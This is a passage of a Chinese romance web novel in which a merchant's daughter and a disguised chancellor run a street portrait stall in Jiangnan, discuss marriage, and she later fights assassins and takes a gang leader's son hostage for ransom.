陆瑜面无表情地点了点头算是回应。
那位云娘又热情地介绍了他们店里的点心,白妙可对这些南方糕点还挺感兴趣的,有许多同京中不同的花样,可以偷师回去让揽月阁的厨子们改良一下。
她正听云娘介绍得津津有味呢,一旁的陆瑜脸色却愈来愈黑。
那云娘嘴上说着糕点的事情,一双眼睛却是时不时向着陆瑜瞟过来,什么心思几乎昭然若揭。
只有沉浸在偷师糕点回京发财的白大小姐毫无所觉,甚至还觉得这位女子性格爽朗大方很是投缘,相谈甚欢。
陆瑜忍无可忍,不轻不重地咳了一声,才唤回某人的注意力:“你怎么了?”
“该吃饭了,娘子。”陆瑜开口说道,最后两个字咬字格外的重。
“哦哦,怎么还没上菜?”白妙可目光寻找店小二的身影。
“您二位稍等,我去催催。”云娘识趣地起身告辞,临走又意有所指地看了眼陆瑜,才翩然离开。
人一走,陆瑜便凉凉说道:“看不出来你对做糕点这么感兴趣。”
“这边的糕点很有特色啊,而且这位云娘还挺有意思的。”白妙可夹着一块糕点塞进嘴里。
看着她没心没肺的模样,陆瑜实在分不清这人到底心里有没有自己,一口气堵在胸口不上不下。
两人吃过饭便溜达回家,走在路上白妙可依旧是兴致勃勃地边走边看,对许多江南这边的新鲜物件都很是新奇。
陆瑜在她叽叽喳喳的各种絮叨当中,也逐渐忘记了心里那点子郁闷,同她一样观察起了这与京中大不相同的江南民生。
走到一家武器铺子的时候,白妙可没忍住进去转了一圈,发现这不起眼的小店居然有蛟筋做的鞭子。
“这鞭子怎么卖?”白妙可从前只是听说,今日还是头回见。
“姑娘真是好眼力,这鞭子可是蛟龙筋剖制成的,能承万斤重,且刀枪不坏,这可是本店的镇店之宝。”掌柜介绍起来滔滔不绝。
“掌柜的,我能试试吗?”白妙可摸着鞭子上细密的纹路问。
“可以,可以,随便试,这鞭子结实得很。”掌柜陪笑说。
白妙可也没废话,将鞭子取下甩了个鞭花,入手轻盈灵活,又颇具韧性,确实是好东西。
她看了眼墙上挂着的一柄长刀,甩鞭过去缠住刀身,同固定长刀的绳索对抗,稍一用力,绳索断裂,那刀顺着力道被甩到了地上。
白妙可反手将鞭子收回,赞道:“确实是好东西。”
“那是自然,只要一百两银子,您直接带走。”掌柜看白妙可懂行,更加殷勤。
“这么贵!我可买不起,您还是留着镇店吧。”白妙可拉起陆瑜便走。
“八十两!八十两给您也行。”掌柜立刻挽留。
若是从前的白妙可必然不会犹豫,可惜她现在实在没钱,只能头也不回的离开了店铺。
“我会赚钱的。”走出两步,方才一直沉默的陆瑜突然开口说。
“真的吗?”白妙可双眼放光地问。
陆瑜还没有意识到事情的严重性,仍沉迷在少女亮晶晶的眼眸中,笑着点了点头。
两人一回家,白妙可就迫不及待地将笔墨纸砚拿到院子里的石桌上,又细心地沏了一壶茶放在一旁。
这才去屋里喊陆瑜:“夫君~来给我作画吧。”
陆瑜正在屋里教小风和小雨认字,这两个孩子都很机灵能干,之前却从未受过启蒙,所以这几日陆瑜开始用空闲时间教他们识字读书。
听见白妙可喊他夫君,他心里就涌上丝丝甜蜜,也有一些不详的预感,经过他的观察,这位娘子甜腻腻喊他夫君的时候,多半没有好事。
他应了一声走到院中,一眼便看见坐在桌边的白妙可正在认真研墨。
见人出来了,白妙可笑着问:“你能帮我作画吗?”
“不必太细致,越快越好,最重要的是要把我画的好看一些。”
“好。”陆瑜笑着应允,没想到他会这么喜欢自己的画。
“我就坐这儿可以吗?”白妙可坐在他的对面问。
“可以。”陆瑜点头,视线落在少女阳光下发光的发丝上,有些出神。
“画得要快哦。”见人没有动作,白妙可提醒道。
陆瑜回神,提笔落笔间少女的轮廓跃然纸上。
他作画的过程中,白妙可就静静托腮等待,眼睛一眨一眨地看着男人低垂
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的眼眸和额头上的美人尖。
过了一盏茶的功夫,陆瑜落下最后一笔,才端起桌上的茶抿了一口说道:“画好了。”
“这么快!”白妙可站起身来,隔着桌子探身过去看。
纸上的少女眉眼弯弯,浅笑嫣然,坐在一个秋千上,长发飘扬在空中,如同一只翩飞的蝴蝶。
而陆瑜在看的是纸外的少女,她倾身过来,几缕发丝垂落在旁边洁白的宣纸上,勾勒出一个弧度。
在陆瑜看来,这比自己画在纸上的画作更加灵动,他抬头想同少女说话。
却被眼前的雪白风光晃到眼睛,忘记了言语。从他的角度透过少女的衣领可以看见她藕荷色的肚兜,还有那下面若隐若现的绵峦雪山。
陆瑜的喉头不自觉地滚动了一下,后知后觉地偏过头去,才说:“娘子可还满意?”
“满意!很满意!”白妙可高兴地拿着画看了又看,接着说了自己的赚钱计划:
“你画得又快又好,不若我们去支个摊位给人画像,一幅画一两银子,人多的话一个上午少说能赚十两呢。”
“也可以看复杂程度收费,我看就在今日那条街就挺好,你觉得呢?”白妙可将她的计划讲给陆瑜听。
末了又补充了一句“夫君~”
对面的丞相大人扶额叹息,怎么也没想到她双眼放光不是因为自己画的好,而且想到了赚钱的妙招。
他面露难色道:“不太合适吧。”
“为何不合适?你想你若是多在街上走动走动,说不定还能早些碰到来寻你的下属。”白妙可继续劝说。
陆瑜沉默片刻,没有提醒她除了来救他们的戎青以外,说不定还有一群虎视眈眈的杀手等着他们呢。
正当他准备拒绝的时候,对上了白妙可期待的目光,于是想起了下午她十分喜欢的那个鞭子,继而想起她那为了救他而断在船上的银鞭。
最终咬了咬牙,答应了下来:“可以试一下,若是没人的话就算了。”
“你放心吧,不可能没人来画的!”白妙可信誓旦旦道。
接着便拿着自己那副画蹦蹦跳跳往屋里走去,清脆的声音飘在身后:“你准备准备,我们明日就去!”
陆瑜听着少女带笑的声音,怀疑自己是不是又被骗了,看着少女进屋的身影,露出一个苦笑。
没想到自己作为将军世子,一国丞相,还有要在街头卖画为生的一天。
但是为了她能开心,也不是不能忍受,反正在这镇上没人知道他的真实身份,余鹿做的事情又跟他陆瑜有什么关系呢。
于是没过多久,这位传闻中矜贵无比的丞相大人便说服了自己,接受了明日便要街头卖画的安排。
甚至还主动收拾好了明日要用到的笔墨纸砚等工具,还让小风去杂物房翻找出来一个木头小桌,外加几个凳子准备带到街上。
一切准备就绪,四个人一同吃了个晚饭,桌上有白妙可为了鼓励陆瑜亲自做的一道鸡翅。
卖相比第一次好了不知多少,陆瑜也很给面子地吃了不少。
但是只有他自己心里清楚,自己是多么希望白妙可的厨艺依旧堪忧,最好让他吃坏肚子,明日没法出去卖……
46. 街头卖艺
次日清晨,许是心中有事,陆瑜比平日醒的更早一些,却难得赖在床上不想起来。
身旁的白妙可仍在熟睡,在睡梦中唇角也微微弯起一个弧度,不知在做什么美梦。
他们从搬入这间院子开始便一同住在主屋,其实第二日陆瑜提了一嘴自己要搬去侧间住的提议。
但是这个提议立刻便被白妙可给否决了,理由是她要照顾陆瑜养伤。但是她忘记了一点,就是自己那副睡相,不把人伤得更严重就算是谢天谢地了。
幸好在陆瑜的要求下,两人分两床被子盖,不仅限制了陆瑜的心猿意马,也大大降低了自己被白妙可无心打伤的可能。
陆瑜盯着女子的睡颜看了足足半刻钟的时间,毫无所觉的少女才悠悠转醒。
白妙可近两日已经习惯自己醒来的时候陆瑜早已起身,今日还是头回见到早上他躺在身侧。
白妙可将自己隔着被子搭在陆瑜身上的腿挪回来,不好意思地冲他笑了笑,便看见男人平静的眼眸泛起涟漪。
“什么时辰了?”白妙可的嗓音带着刚睡醒的软糯。
“辰时末了。”陆瑜答道。
“这么晚了!”白妙可蹭的一下坐了起来,嘴里还抱怨道:“你怎么不喊我。”
身前的被子也因为她的动作滑落,露出少女略显凌乱的鹅黄色寝衣,还有被她蹭乱漏出来的一节藕荷色系绳。
紧接着她掀开被子准备翻过睡在外侧的陆瑜下床,翻身的瞬间却对上了男人晦暗的眼眸。
这姿势,这距离,这氛围,也太适合亲一口了,白妙可这般想着就要俯身靠近,在距离不过一指的时候又猛然停住。
因为她突然想起来,两人都刚起床还没洗漱呢,会不会有点不太卫生……
于是她拐了个弯,在男人的脸颊上吧唧了一口,也不等人反应,就翻身下床去更衣了。
留下床上那位心思格外多的男人摸了摸仿佛还残存着温热的脸颊,默默地思考了一下为何她换了个位置亲,莫非是嫌弃自己?
在白妙可的催促下,两人很快用完早饭,带上昨日准备好的东西,带着小雨小风两人一起出发。
几人走到街上的时候已至巳时,街上摆摊叫卖的人已经不少了。
选了个临近路口位置,将从家里带来的凳子摆在树下,又放上一张小小的桌案,白妙可又从包袱里掏出昨日写好的大字:秀才画画。
将这简易的招牌用一根木棍插在一旁,这摊位遍算是开张了。
却是很难引起来来往往的百姓们的注意,白妙可便安排小雨和小风在一旁揽客,自己则充当陆瑜的第一个客人。
让陆瑜先画一幅自己,吸引一下人群的注意力,她走到对面的桥头站定,凭栏而眺。
既然已经答应了白妙可,便是心里有些别扭,陆瑜也会说到做到,尽力配合她的安排。
提笔落墨,凝神静气,很快他的眼中便只剩下了白妙可,而纸上也慢慢出现一位窈窕少女。
等他开始细细勾勒少女的眉眼的时候,身边已经围了一圈人,有的人是听说过这位秀才赘婿名声的,有的是被小雨小风的吆喝声吸引而来的,更多的是为桥头上的白妙可而停留驻足。
落下最后一笔,陆瑜正欲欣赏自己的画作,就被身边的声音打断。
“公子画的真好,找您画一幅要多少钱?”一个围观全程的女子出声询问。
“今日刚刚开业,只要一两银子一副!”白妙可已经从桥头往这边走来,看似步履轻快,却是几步便到了近前接话道。
一两银子对于普通百姓来说已经不是个小数目了,那女子正犹豫着呢,另一个围观的公子哥开口了:“可以!给我画一个!”
白妙可朝那人看去,通身的锦缎华服,一看便知是位不差钱的主,她笑着开口:“自然可以,公子是想要寻常画作,还是定制精品?”
那男子一愣,问道:“何谓精品?”别说他了,连坐在一旁的陆瑜也好奇地看向白妙可。
少女清了清嗓子,提高音量好让周围围观的百姓都能听到:“方才说的一两银子是普通画作的价格,便是画您坐在此处的情景。”
“而定制精品,便是随您的要求,五官样貌,衣着打扮,背景环境,姿势动作,通通由您说了算!”
此话一出,围观群众立刻议论纷纷。
白妙可接着说:“不过!这定制精品自然也没有那么好画,价格方面也会根据您的要求多少来定,绝对的童叟无欺!”
那位公子摇了摇手里的折扇,说道:“这倒是有点意思,小爷要定制一副!”
“便画我带着金玉发馆,风度翩翩立于船头,身旁是群山环肆吧!”
“哦对了,近两日吃多了,记得将我画瘦一些。”那公子收了收肚子,补充道。
陆瑜微不可查地叹息一声,觉得白妙可这主意着实是在为难自己,就见少女主动来替他磨墨,借机在他的耳畔说一句:“好夫君~”
“好。”陆瑜觉得自己又可以了。让男子现在几步外的位置,开始进行努力作画,边画还要边思考方才那男子的要求。
画着画着,身边围过来的人越来越多,几乎都要将路给堵住了。
陆瑜虽然全程面无表情,却在心里觉得白妙可这招实在是妙。
先不说这赚钱的主意,便是他先前担心会被追杀他们的人找到,现在也没什么必要了,因为根本不会有人想到他们会在大街上人最多的地方这么大张旗鼓的摆摊。
依旧花了一刻钟多一点儿的时间,一副群山泊舟图便完成了,画中的男子与站在不远处的人神态相同,却是更加飘逸俊朗一些。
那人迫不及待走过来看,对这幅画十分满意,赞不绝口:“画得太好了!这就是我想要的意境!”
旁边围观了陆瑜作画全程的路人也纷纷赞叹:“不愧是秀才郎啊,画得真好。”
不知有谁还说了句“长得如此俊秀”之类的话,又引起一众小娘子的附和。
眼见众人讨论的热闹,陆瑜的唇却逐渐抿成了一条线,越来越熟悉他的白妙可知道这是有点不高兴了。
“公子满意吗?”她挂上假笑问那个男子。
“满意,满意。多少钱?”男子说着从腰间解下荷包。、
看着他这财大气粗的模样,白妙可眯了眯眼睛,笑着说道:“
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公子比画上还要风度翩翩,又是我们开张第一位客人,如此有缘,便只收您十两银子。”
十两银子够许多平民百姓家里一年的开支了,但是显然对这位男子算不得什么,他从荷包中掏出一锭银子放在桌上。
白妙可将银子收入怀中,笑得真心了许多,伸手想将桌上那幅画递给男子,却有一双修长的手先她一步拿起了画。
于是白妙可就看见尊贵的丞相大人亲自将画递给那人。
落难的丞相也要为十两银子折腰啊,白妙可在心中暗自感慨。
可是她的这个想法很快就改变了。
后面又陆续有几个公子小姐要求作画,白妙可这才惊奇地发现,若是男子,陆瑜便亲自递给他画,若是女子,画完以后陆瑜都不会多看一眼,任凭白妙可取画递画。
啧,原来是为了避嫌啊。
白妙可摇了摇头,心道他怎么有时候思想开放有时候又这么古板啊。
忙碌了一上午,四个人直接收摊吃饭。
白妙可本想去上次那家酒楼,还能顺便去找云娘聊会儿天,但是陆瑜难得拒绝了她的提议。
毕竟一上午最辛苦的还是她的秀才赘婿,白妙可自然是听了他的,去了一间老两口经营的小餐馆。
店里朴素但是能看得出来很是干净,年过半百的老两口热情地招待了他们,等菜的间隙,白妙可同他们闲聊。
“阿婆啊,你们这店开了多久了?”
“老头子,开了三十多年了吧?”头发花白的老太转头问在厨房里忙活的老头。
“你这老婆子!咱们成亲多少年你都忘啦?”厨房里老头的声音伴随着菜香飘过来。
白妙可这才注意到,这家店里间的厨房跟外间客人的桌子之间开了一个不大不小的窗口,用一道帘子隔开,但是能清楚听见里外的声音。
她还是头回见这样开窗的后厨,好奇问道:“为何这儿有个小窗?”
老太一笑露出缺了两颗牙,说道:“还不是里头那个老头子,听不见我的声音就不放心,干活都不让人清净。”
后头的厨房里闻言也传来一阵笑声,翻炒的声音听起来都变得轻快起来。
白妙可也跟着笑了,有些羡慕地看着这对感情极好相伴多年的老夫妻,心中生出几分感慨。
轻声呢喃:“真好啊。”若是我这辈子也能碰见这样一个人,互相斗嘴却有彼此陪伴,白头偕老该有多好啊,当然后半句是她没有说出口的心愿。
这般想着,一抬头就对上了陆瑜那灼灼的目光,他方才一直沉默,是以白妙可这才发现他不知这样看了自己多久了。
在这双眼眸中她曾看见过戒备、冷漠、狠厉,也看见过心疼、害怕、担忧。
但是这一次,她从中看出了爱意,仿佛是一股旋涡,将她吞噬其中难以脱身。
白妙可有些害怕,不自觉地闪躲,自打冒着危险救下陆瑜,到两人辗转来到这个小镇,这一路上白妙可一直在逃避在迷茫的问题,似乎逐渐明晰。
于是在她移开目光的下一秒,又勇敢地同陆瑜对视,目光中多了几分坚定和期待,也许长路漫漫,有人同行便不会孤单。
47. [锁] [此章节已锁]
今日的情况比白妙可预想的还要好些,于是吃过午饭后,一行人就打道回府了。
到家以后白妙可直接瘫倒在床上滚了两圈,边滚还边念叨着发财了。
陆瑜含笑现在床边看着,觉得若是能让她开心的话,摆摊就摆吧,反正没人认识自己。
休息好了,白妙可坐到桌边将荷包倒出来,大大小小的碎银哗啦啦散落在桌上,当着陆瑜的面,白妙可仔仔细细数了一遍。
这一上午的收入一共是五十八两。
“哦!这也太赚钱了吧。”
“你可真是我的小财神啊!”白妙可搂着陆瑜的脖子吧唧亲了一口。
“回京城我也要专门开一个帮人作画的铺子,再请上几个画师,不过他们估计画得不如你好。”
白妙可仍旧在絮絮叨叨,没注意到身边的男人异常的沉默。
直到他低沉的嗓音打断了白妙可的宏远计划。
“回京我们便成亲吧。”陆瑜用平静的嗓音说出这句话,呼吸却不自觉地放慢,等待她的回答。
“哈?”白妙可被他突如其来的一句话问了个措手不及。
“我说我们成亲,你可愿意?”陆瑜又重复了一遍,语气更加缓慢,却是带了几分希冀。
白妙可抿了抿嘴,感受着自己逐渐加快的心跳,却迟迟给不出一个答案,毕竟成亲是一辈子的事情,她很难给出承诺。
“你心里可有我?”陆瑜换了个问题,语气已经从最初的希冀变成了三分祈求。
“有的!”这个问题白妙可终于能回答了,她可以确认自己对陆瑜有了些感情,只是很难分清这情从何而起,所以难以同他签订一辈子的契约。
闻言陆瑜紧绷的身体才微微放松,心里有他就好,她还小,害怕成亲也正常,自己可以徐徐图之。
于是他又恢复了惯常的从容神色,笑着问道:“那你何时开始心里有我的?
白妙可回忆了一下,慢吞吞地说:“也说不上什么时候,大概是看见你这张脸的时候吧。”
陆瑜愣了一下,不可思议地看向女子,难以置信她居然只是看脸。
奈何白妙可似乎还嫌他不够心碎,又解释了两句:“我大概是爱上你的脸了,常常忍不住要盯着你看。”
听着这真诚又无辜的话语,陆瑜不知自己是该为她说爱上自己而高兴,还是为她只爱自己的脸而难过。
他深吸了一口气,在心中不断告诉自己不要着急,却是恨不得将这个小骗子给就地正法了。
如此深呼吸了几次,看着仍旧坐在一旁笑眯眯盯着自己的白妙可,他终于无奈开口:“承蒙薄爱,陆某继续努力。”
这就妥协了?白妙可惊得瞪圆了双眼,没想到这位丞相大人竟然这都能接受,还如此执着。
感受到丝丝缕缕的甜意将自己包围,白妙可忍不住反问道:“那你是何时对我动心的?”
陆瑜似乎早就思考过这个问题,又或许是这根本就无需思考。干脆地回答道:“或许是你第一次喝醉那次,也或许是你救我的时候。”
“什么第一次……明明就只有那一次喝醉了,救你倒是好多次了,你以身相许也不过分。”白妙可对于自己的酒鬼行径拒不承认,倒是开始计划着收利息了,盯着他边看边笑得眉眼弯弯。
“嗯,以身相许。”陆瑜今日似乎格外好说话,低低地附和着她。
“那你的伤如何了?突然想起来我好几日未检查你的伤口了。”白妙可有些不怀好意地说道。
陆瑜不知道话题怎么突然转变到了这里,但还是从善如流地回答:“伤势好了不少,伤口已经结痂了。”
“我看看。”白妙可贴心地起身去将主卧的门给关上了。
“好。”陆瑜应了一声便开始解衣带,直到露出精壮的上身。
既然她喜欢自己的皮囊,那他充分利用一下也不是不行。
陆瑜一边自嘲地想他居然还有要出卖色相的一天,一边还侧了侧身调整了一个完美的角度来面对白妙可。
白妙可果然立刻便被吸引了注意力,走到他的身前仔细端详了一下他胸口的那道伤口,上面已经结了薄薄一层暗红色的痂,看起来有些粗糙又脆弱,轻轻揭开便会露出嫩红的血肉。
似乎是白玉盘上面出现的一道裂痕,破碎又美丽。少女纤细的手掌慢慢抚摸过疤痕,像是在安抚,又带来阵阵痒意。
在平静的湖面激起波澜,又迅速散开一圈圈涟漪。
然后继续往未知的深处求索。
直到一双大手忍无可忍地抓住了她的手腕,白妙可看着那手背上凸起的青筋和血管,勾了勾唇。
“看完了吗?”男人有些低沉沙哑的嗓音从头顶传来。
“看完了看完了。”白妙可从善如流的顺着男人的力道将手移开,眼神却没有离开半分。
陆瑜一只手牵着白妙可的手,只能用剩下的一只手有些别扭地将上衣拉上,白妙可好心地将手抽出来帮他系好了衣带,将衣襟整理平整。
专注又认真的模样看得陆瑜心里突突直跳,她可真是勾人而不自知,而且她心里有自己。
陆瑜还是没忍住吻了上去。
他闭着眼睛辗转沉沦,没注意到在他低头吻上来的瞬间少女眼底一闪而过的笑意。
但是很快,白妙可也再顾不得想其他事情,全身心都被酥麻的触感所支配,不自觉地抓住了陆瑜的衣襟。
感受到男人比之前两次都要熟练且令人舒适的动作后,白妙可暗自感叹这位各方面的学习能力都未免有些强了。
感受到男人滚烫的手掌逐渐箍紧自己的腰身,不许她退缩半寸,直到她的呼吸也变得有些困难,觉得自己马上就要溺死在这个激烈的亲吻中时。
男人终于放缓了节奏,松开紧箍的双臂,结束了这个绵长的吻。
白妙可顺势靠在了他的怀里,调整呼吸平复心跳,将手轻轻搭在他的胸口感受着他同样急促的心跳。
想着光是亲吻便如此舒服,若是……
白妙可还在想入非非呢,男人却是突然开口打破了旖旎的氛围。
“是时候联络戎青了。”
白妙可:?我在想酱酱酿酿,你在想什么??
“已经过去近两周了,他们应当已经休整好开始四处寻人了,不出意外的话,一周以内会找到这里。”
男人还在运筹帷幄地安排后续计划。
白妙可问了个关键问题:
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“你们怎么联络?”
“我有一只海东青,挂一只鸡在房顶,他能寻来。”
白妙可:“这么厉害!”
听他计划的井井有条,白妙可便也不再操心这些,而是转移了兴趣。
“那你再画一个弩箭图给我,明日我去山上打一只活鸡回来。”白妙可兴冲冲道。
上次借住在二丫家里的时候,陆瑜给那位猎户画的弩箭模型,她也很是感兴趣。
陆瑜应了声好,提笔重新画了一副精巧的弩箭构造图交给小风,让他跑腿去木匠那里打一个出来。
而各方面都心满意足的白妙可换了寝衣直接躺到了床上,准备睡一会儿下午觉。
陆瑜坐在桌边拿着一张新买来的舆图看,之前他从京城带过来的标记过的那张舆图落在了船上,这几日忙着奔波、养伤和赚钱,他这才有时间重新研究路线。
都走到这儿了,他们终归还是要去姑苏的,并且离太傅马鸿哲信上提到的时间越来越近,他们还需要尽快行动才好。
多亏了他过目不忘地本事,还能在这份不甚精细的舆图上重新画出最开始定下的几处路线。
而床上的白妙可躺着酝酿睡意,也不忘同陆瑜打趣道:“镇国公府想必规矩很多,若是我嫁到你家,还能想睡觉就睡觉吗?”
“自然可以,镇国公府也没有什么规矩。”陆瑜有些好笑地答道。
换做其他女子怎么会如此坦然地讨论自己的婚事,还是在已经拒绝了以后,但是白妙可就是这么特别又可爱,能坦坦荡荡地拒绝他,也能大大方方的问若是嫁过去会如何。
“奥,那你平日在家几点起?”白妙可将被子拉过盖上,只露出一个脑袋同他说话。
“卯时初。”陆瑜淡声回答。
“啊?这么早天还没亮吧,你起来做什么?”白妙可惊讶得瞪大了眼睛。
“若是有朝会便要早起上朝,若是没有,也有许多事物需要处理。”陆瑜耐心地说道。
“当官还真是不容易啊。”白妙可感慨道,接着又想到了一个重要的问题:“那你做丞相的俸禄多少?”
陆瑜:“俸银五千两。”
“朝廷居然这么有钱啊,一个月五千两倒是还不少。”白妙可说道。
陆瑜沉默片刻,缓缓开口:“一年。”
“一年?!你每日起这么早上朝还有性命危险,就五千两一年??”白妙可发出来不可思议的疑问。
陆瑜:……跟你们这种京城首富说不清楚。
“不止禄银,还有禄米,还有陛下的各种赏赐。”陆瑜有些苍白地补充道。
“哦。”白妙可懒洋洋地翻了个身背对着他,躲在被子里捂嘴偷笑。心道这个傻瓜,做这般出力不讨好的事情,不如直接承认是为了黎民百姓能更好过一点。
殊不知她这幅模样落在陆瑜眼里却像是不满意了,弄得本来十分从容的陆瑜一时之间忐忑自己是不是太穷了惨遭嫌弃。
“其实,若是收些贿赂的话……”他艰难开口,说了一半便被打断。
“不必!”
“我可以养你。”白妙可掷地有声道。
说罢留下一脸震惊的丞相大人,蒙上被子美美睡去。
48. 恶女侠女
昨日下午一觉睡到了天黑,白妙可今日起得格外早。
在院子里随意练了一套身法,她就拿上昨日做的那柄小巧的弩箭,又摸了一柄菜刀放到随身的背篓里面以防万一。
目睹她这一动作的陆瑜嘴角一抽,各色的杀手或者侍卫他见多了,还是第一次见到有人拿菜刀当武器。
静默片刻,他拿出了白妙可送他的那柄墨玉匕首递了过去:“还是拿这个防身吧。”
“原来这刀你还收着呢,这刀不便宜,前几日你拿它出来换钱就不用糟蹋你那鱼符了。”白妙可没接刀,只是打趣道。
“这是你第一次送我东西。”陆瑜只说了这一句,白妙可便明白了他的意思。
自己送的一把匕首居然比他代表身份的鱼符还要重要,白妙可心情很好,笑得眉眼弯弯。
开口便是壮志豪言:“等我去打个山鸡回来送你!”
说罢便轻轻巧巧地出了门,往他们最开始见到的那几座山附近走去了。
沐浴着清晨的阳光,呼吸着田间青草的气息,看着田边已经有勤快的农人在地里忙活。
白妙可觉得如果自己不是出生于富商之家,而只是一个平民百姓,种地打猎为生,闲时就坐在家门口晒太阳也挺好。
这般惬意的想法刚刚出现,就被村子里的一声尖叫打破。
白妙可循声望去,发现声音是从他们最初借宿的那个村子里传来的。
她心头涌上不详的预感,调转方向就朝着村子掠去。
经过半个月的调养,她身上的伤早已好了个七七八八,她的武功在近几日的勤勉练习中也有所提高,此时运起轻功,几个闪身间便到了近前。
她轻轻落在一棵大树的枝干上,借着树叶遮掩身型,向下看去。
一间农家小院里,站了三个黑衣蒙面的人,手持长剑指着院中的一家三口。
这家的男人虽然也已经抖如筛糠,但还是努力挡在妻女面前,硬着头皮说:“各位大侠,我们真没见到你说的男人。”
蒙面人摇摇头,便要将剑向着他刺去,男人惊恐闭眼的瞬间,一枚石子打中了剑尖,持剑的蒙面人虎口一震。
纷纷抬头看向树上的白妙可。
白妙可冷脸相对,她最是瞧不上这种就会欺负平民百姓的杀手了。
没想到随手带来的菜刀这么快就要派上用场了,她反手从后面的背篓中掏出菜刀,纵身从树上跃下,轻飘飘落地。
“女侠,女侠救命啊!”
“躲远点儿。”
说罢没有多余的废话,提刀冲了上去,一手挥刀挡开黑衣人的剑,又是一记飞踢踹中了另一人的胸口。
接着一枚小小的弩箭从袖口飞出,黑衣人侧头去躲,弩箭擦着脸飞过,不仅划破了他的侧脸,也带走了那人蒙面的黑布。
“鹰爪帮?”白妙可认出了那人脖颈处飞鹰般的纹身,月影阁同鹰爪帮打了这么久的交道,她多少清楚对方的标志。
只有在鹰爪帮排得上号的杀手才有资格在脸上纹上代表帮派的飞鹰标记。
那人抬手摸了一把脸上被划破流出来的血迹,打量了一圈也没看出白妙可的来历,恶狠狠地说:“既然被你发现了身份,那你也别想走了。”
听见他狂妄的话,白妙可有些想笑,因为他犯了杀手最忌讳的事情--放狠话。
根据白妙可的经验,一般杀手动手之前放狠话,那就是离死不远了。
她挥起手上的菜刀冲着那名脸上有刺青的杀手砍去,一旁的两个黑衣人见状上前阻拦。
白妙可反应极快,躲过左侧扫过来的剑招,又一个侧身抬腿,踢开右侧的长刀,辗转挪移间菜刀就横在了那名刺青男人颈侧。
这位应当是在鹰爪帮身份不低,看见他被挟持,其余两个黑衣杀手果然停住了动作,只持剑紧盯着白妙可。
白妙可一手提着后面的衣领,确保他没法乱动,另一手紧握菜刀,紧贴他的脖颈。
“不想他死就别过来!”接着扬声恐吓。
两个蒙面人没再动作,也没有接话,被白妙可挟持的男人面色阴沉地说:“别听她的,不用管我,杀了她!”
“公子不可啊!”两人劝道。
白妙可却注意到了他们的称呼,公子?莫非这位是……
白妙可将他的头用力拧过来,仔细打量了一下,还真是长得同鹰爪帮那个帮主有七分相似。
她心里乐开了花:居然他们是少帮主!要发财了!
面上却是冷漠如霜地下了命令:“让他们自行了断,否则我现在就杀了你。”
此话一出,手里抓着的男人开始剧烈反抗,被白妙可一个手刀劈晕,软绵绵地领在手里。
她挑眉看向另外两人,明媚动人,一开口却像是淬了毒:“我只杀你们一人,另一人回去递话,想必你们帮主会愿意出大价钱来赎人。”
两个蒙面人面面相觑,僵在原地没有动手。
白妙可不耐烦的甩了一枚弩箭出去,一箭穿喉,黑衣人应声倒下,正是最开始准备拿剑杀一家三口的那位。
剩下那人眼睁睁看着自家主子被抓住,自己的兄弟被杀害,正目眦欲裂地盯着白妙可。
而罪魁祸首却向没事儿人一样同他唠嗑:“是马鸿哲派你们来的?他给你们出了多少钱?”
黑衣人咬紧牙关不回答,白妙可也毫不在意,继续说:
“你回去同你们帮主说,准备五千两黄金送到揽月楼萧恒手上,顺便帮我给他带句话。”
“就说,让他派人来江南姑苏找我。”
看着黑衣人瞪大的瞳孔,似乎是在为她是月影阁的人而愤怒。
白妙可笑着继续威胁:“这些话只能给你们帮主说,若是泄露出去半分,就让他等着给自己唯一的儿子收尸吧。”
说罢便提着那位晕过去的少帮主准备离开,走到院门处又想起来什么,转头说:“哦还有,把你们的人撤回去,再让我碰见的话。”
“把你们都杀了!”少女用最纯良的表情说着恶狠狠的话。
说罢便扬长而去。
事已至此,打猎的事情只能先搁置一下了。
白妙可得先将人带回去关起来,这可是五千两啊。
于是早起做农活的几个人就看见一个身材纤细的少女扛着一个壮汉走在路上,不仅步伐轻快,还能看出心情不错的模样,这幅场景说不出的怪异。
好在白妙可很快就拐进了无人的小径,抄近路回了家。
从后门进来:“我回来了!”
“夫君?小风小雨?”
屋内院子里都是静悄悄的。
白妙可心里一慌,把
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扛在肩上的人扔在地上,在家里转了一圈,两进的院子几步路便看完了。
空无一人。
白妙可深吸一口气,发现院中没有任何打斗的痕迹,同她早上离开的时候一模一样。
除了……昨日摆摊用的桌椅还有画画用的工具不见了!
陆瑜居然主动出去摆摊了,白妙可觉得十分难以置信,明明两日以前他还十分抗拒的。
知道人没事儿以后,白妙可放松下来,想起来被她丢在地上的鹰爪帮少帮主。
转头去看就见他已经醒了,但是因为被绑住了手脚,只能在地上挪动,努力尝试站起来。
白妙可好心地将人扶了起来,问:“你叫什么名?”
那人咬紧牙关,一副拒绝交流的样子。
“啧,你要是不说我可就自己帮你取了。”
“让我想想,你爹姓蔡,要不你就叫蔡狗吧。”
看见那人愤怒的双眼和因为生气而憋红的脸色,白妙可心情大好,哈哈笑着将人关进了一间空房。
又拿锁链将人绑好,似乎还不放心,在门上加了两把沉甸甸的铁锁头才放心。
这可是五千两黄金啊,可不能让他跑了。
抬头看了看日头,也已经接近晌午了,白妙可一拍脑袋又钻进了厨房。
厨房里面屯着各种瓜果蔬菜,墙上还挂着几条猪肉,白妙可前几日做了几次饭,但是都不是很满意。
今日家里就她一个人,没什么事情要做的她又起了动手做饭的兴致。
三下五除二地收拾切好猪肉和青菜,接下来就是要努力生火,可是现成的柴火有些潮,火没生起来,烟倒是冒了不少。
陆瑜带着俩兄妹回来的第一眼就发现了冒着浓烟的厨房,还隐约听见了白妙可的咳嗽声。
前一秒还从容不迫的陆瑜下一秒就冲到了厨房,连牵动了伤口也没注意。
看见灰头土脸但是完好的白妙可,他才松了口气,“娘子啊,以后做饭这种活还是我来吧。”
白妙可笑嘻嘻地勾了勾手示意他靠近一些。
陆瑜凑近她,以为她是有话要说。
没防备一双罪恶的小黑手伸手在他脸上抹了一把,那张白皙清冷的脸上瞬间就出现了三条□□。
白妙可嘿嘿笑着跑开,陆瑜宠溺地看着她,跟在她的身后随她进了后院。
两人笑闹在一起,气氛逐渐暧昧的时候。
后院一间空置的厢房里面却不合时宜地传出叫喊声。
“放我出去!女人,快放我出去!”
白妙可不耐烦地啧了一声,这个烦人的菜狗,要不是看在五千两的份上,她此刻就想提刀把人给杀了!
陆瑜也听见了厢房的动静,不动声色的蹙眉,看向一脸不爽的白妙可,思考为何家里突然多出来一个被关着的男人。
这般想着就抬步往那间房门走去,手上还牵着白妙可没有放手,白妙可抿了抿嘴,想要解释一下这人的来历,还未开口,就见男人已经推开门。
